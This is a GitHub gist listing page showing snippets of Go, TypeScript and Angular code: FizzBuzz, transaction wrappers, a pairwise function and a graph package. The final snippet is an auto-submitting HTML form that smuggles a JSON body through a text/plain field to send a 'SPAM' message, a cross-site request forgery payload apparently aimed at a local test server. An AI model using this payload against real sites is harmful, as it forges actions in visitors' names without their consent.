Skip to content

Instantly share code, notes, and snippets.

View vporoshok's full-sized avatar
🦆
The duck-painter's decided to drink to go the bar

Bastrykov Evgeniy vporoshok

🦆
The duck-painter's decided to drink to go the bar
View GitHub Profile
package fizzbuzz
import (
"strconv"
"strings"
)
// FizzBuzz return "Fizz" for 3*n number, "Buzz" for 5*n number,
// "FizzBuzz" for 15*n number and number as string otherwise.
func FizzBuzz(n int) string {
...
import { environment } from './environments/environment';
if (environment.production) {
enableProdMode();
}
@vporoshok
vporoshok / adaptor_interfaces.go
Last active May 19, 2018 14:25
Action example
package action
import (
"context"
"github.com/vporoshok/bfapp/internal/model"
)
// TxManager implement transaction decorator
type TxConnection interface {
@vporoshok
vporoshok / pg.go
Last active April 14, 2018 17:19
DB connection with transaction
package connection
import (
"context"
"database/sql"
"github.com/pkg/errors"
)
// PG is a connection wrapper with transaction decorators
export function pairwise (values: number[], check: number): number {
const sorted = Array.from(values.entries());
sorted.sort((a, b) => {
let res = Math.sign(a[1] - b[1]);
if (res === 0) {
res = Math.sign(a[0] - b[0]);
}
return res;
package graph
import (
"fmt"
"math/rand"
"testing"
"time"
"github.com/stretchr/testify/require"
)
package graph
import (
"sync"
"github.com/pkg/errors"
)
// Graph is a main object of this package
type Graph struct {
package graph
type labels []uint8
func newLabels(n int) labels {
l := make(labels, n/8+1)
for i := range l {
l[i] &= 0
}
package graph
import (
"fmt"
)
type direction int8
const (
// In is a incoming direction
<form id="form" method="post" action="http://localhost:4000/form.php" enctype="text/plain">
<input name='{"equals":"' value='", "message": "SPAM", "receiver": "[email protected]"}'>
</form>
<script>
var form = document.getElementById('form');
form.submit();
</script>